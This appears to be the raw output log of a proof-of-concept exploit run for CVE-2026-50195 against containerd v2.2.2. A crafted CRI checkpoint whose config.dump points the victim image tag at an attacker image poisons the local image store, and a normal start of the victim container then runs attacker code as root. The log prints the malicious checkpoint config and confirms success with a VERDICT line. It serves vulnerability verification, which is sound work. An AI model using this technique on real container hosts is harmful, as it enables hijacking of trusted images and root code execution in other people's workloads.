### CVE-2026-50195 CRI checkpoint import -> local tag poisoning -> code execution ###
EXPECTATION=vulnerable
containerd: containerd github.com/containerd/containerd/v2 v2.2.2 301b2dac98f15c27117da5c8af12118a041a31d9
attacker rootfsImageRef=localhost:5000/attacker:latest
poison target rootfsImageName=localhost:5000/victim:stable
checkpoint config.dump: {"id":"checkpoint-victim","name":"checkpoint-victim","rootfsImage":"localhost:5000/victim:stable","rootfsImageRef":"localhost:5000/attacker:latest","rootfsImageName":"localhost:5000/victim:stable","runtime":"io.containerd.runc.v2","createdTime":"2026-01-01T00:00:00Z","checkpointedTime":"2026-01-01T00:00:00Z"}
PRE: attacker image and victim tag absent from local containerd image store (good)
a167d04a9a549d40f4ecda0cb9fc72dde8c87c2798c8db6889360c51857e352e
POD_ID=a167d04a9a549d40f4ecda0cb9fc72dde8c87c2798c8db6889360c51857e352e state=    "state": "SANDBOX_READY"
### Step 1: CRI CreateContainer(image=/checkpoints/malicious.tar) imports malicious checkpoint
4ed9758adf5b38927c235022d4b12a458eeade9cff876715f1932bdbeac07b91
checkpoint CreateContainer output: 4ed9758adf5b38927c235022d4b12a458eeade9cff876715f1932bdbeac07b91
checkpoint container id: 4ed9758adf5b38927c235022d4b12a458eeade9cff876715f1932bdbeac07b91
POST-CHECKPOINT: attacker image entries = 1
POST-CHECKPOINT: poisoned victim tag entries = 1
localhost:5000/attacker:latest                                          application/vnd.oci.image.manifest.v1+json           sha256:25ff2e0f0b209d91423507e05f4a369614a1014f46b6bceea502fd24fe7d289f 3.5 MiB   linux/amd64 io.cri-containerd.image=managed                                 
localhost:5000/victim:stable                                            application/vnd.oci.image.manifest.v1+json           sha256:25ff2e0f0b209d91423507e05f4a369614a1014f46b6bceea502fd24fe7d289f 3.5 MiB   linux/amd64 io.cri-containerd.image=managed                                 
### Step 2: normal victim CreateContainer + StartContainer for localhost:5000/victim:stable ###
6429bf766f554380b636ec5b6655e15e4303ccc28a038b682a5c11ef305a72dc
victim container id: 6429bf766f554380b636ec5b6655e15e4303ccc28a038b682a5c11ef305a72dc
6429bf766f554380b636ec5b6655e15e4303ccc28a038b682a5c11ef305a72dc
StartContainer rc=0
### victim container logs ###
PRUVA_CODE_EXEC_FROM_ATTACKER_IMAGE uid=0 gid=0 image=attacker
### victim container status ###
      "image": {
        "image": "localhost:5000/victim:stable",
    "exitCode": 0,
    "image": {
      "image": "localhost:5000/attacker:latest",
    "imageRef": "sha256:c2096718eff565dec2df02a94ad0c2072d39c6f5f4629370b79ba6497cd795a5",
    "reason": "",
    "state": "CONTAINER_RUNNING",
### CRI/containerd summary ###
CONTAINER           IMAGE                          CREATED                  STATE               NAME                       ATTEMPT             POD ID              POD                 NAMESPACE
6429bf766f554       localhost:5000/victim:stable   Less than a second ago   Running             victim-from-poisoned-tag   1                   a167d04a9a549       unknown             unknown
4ed9758adf5b3       localhost:5000/victim:stable   Less than a second ago   Created             checkpoint-importer        1                   a167d04a9a549       unknown             unknown
time="2026-07-05T07:59:21.403044850Z" level=info msg="CreateContainer within sandbox \"a167d04a9a549d40f4ecda0cb9fc72dde8c87c2798c8db6889360c51857e352e\" for container name:\"checkpoint-importer\" attempt:1"
time="2026-07-05T07:59:21.631160598Z" level=info msg="ImageCreate event name:\"localhost:5000/attacker:latest\""
time="2026-07-05T07:59:21.671509574Z" level=info msg="ImageCreate event name:\"localhost:5000/victim:stable\""
time="2026-07-05T07:59:21.982536351Z" level=info msg="Prepared 4ed9758adf5b38927c235022d4b12a458eeade9cff876715f1932bdbeac07b91 for restore"
time="2026-07-05T07:59:21.982578239Z" level=info msg="CreateContainer within sandbox \"a167d04a9a549d40f4ecda0cb9fc72dde8c87c2798c8db6889360c51857e352e\" for name:\"checkpoint-importer\" attempt:1 returns container id \"4ed9758adf5b38927c235022d4b12a458eeade9cff876715f1932bdbeac07b91\""
time="2026-07-05T07:59:22.046308305Z" level=info msg="CreateContainer within sandbox \"a167d04a9a549d40f4ecda0cb9fc72dde8c87c2798c8db6889360c51857e352e\" for container name:\"victim-from-poisoned-tag\" attempt:1"
time="2026-07-05T07:59:22.123474306Z" level=info msg="CreateContainer within sandbox \"a167d04a9a549d40f4ecda0cb9fc72dde8c87c2798c8db6889360c51857e352e\" for name:\"victim-from-poisoned-tag\" attempt:1 returns container id \"6429bf766f554380b636ec5b6655e15e4303ccc28a038b682a5c11ef305a72dc\""
time="2026-07-05T07:59:22.138826012Z" level=info msg="StartContainer for \"6429bf766f554380b636ec5b6655e15e4303ccc28a038b682a5c11ef305a72dc\""
time="2026-07-05T07:59:22.182570222Z" level=info msg="StartContainer for \"6429bf766f554380b636ec5b6655e15e4303ccc28a038b682a5c11ef305a72dc\" returns successfully"
VERDICT: VULN_CODE_EXEC_CONFIRMED - malicious checkpoint poisoned localhost:5000/victim:stable with localhost:5000/attacker:latest and StartContainer executed attacker-controlled image code